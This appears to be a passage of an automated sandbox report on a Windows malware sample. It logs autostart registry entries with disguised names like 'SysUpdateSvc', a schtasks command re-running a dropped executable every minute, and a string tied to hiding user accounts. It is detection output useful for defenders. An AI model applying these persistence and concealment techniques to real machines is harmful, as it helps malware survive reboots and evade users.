Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders Startup

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Cerker.exe
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce explert.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe

Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN explert.exe /TR "C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe" /F

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce explert.exe	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce explert.exe	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce explert.exe	Jump to behavior
Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce explert.exe	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater	Jump to behavior
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater
Source: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Cerker.exe
Source: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Cerker.exe
Source: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Cerker.exe
Source: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Cerker.exe
Source: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater
Source: C:\Users\user\AppData\Local\Temp\gtxkvh.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysUpdateSvc
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater
Source: C:\Users\user\AppData\Local\Temp\349587345342\Cerker.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run BackgroundUpdater

Hooking and other Techniques for Hiding and Protection

Contains functionality to hide user accounts

Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000008.00000000.1765448808.0000000000F36000.00000002.00000001.01000000.00000008.sdmp

String found in binary or memory: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe

Code function: 0_2_005F0782 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_005F0782

Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\f3b3de9e353268524740ab3df9b4ee37 6D8D71DC0AF72849B01CAF815019C473

Jump to behavior

Source: C:\Users\user\Desktop\RPHbzz3JqY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe	Process information set: NOOPENFILEERRORBOX
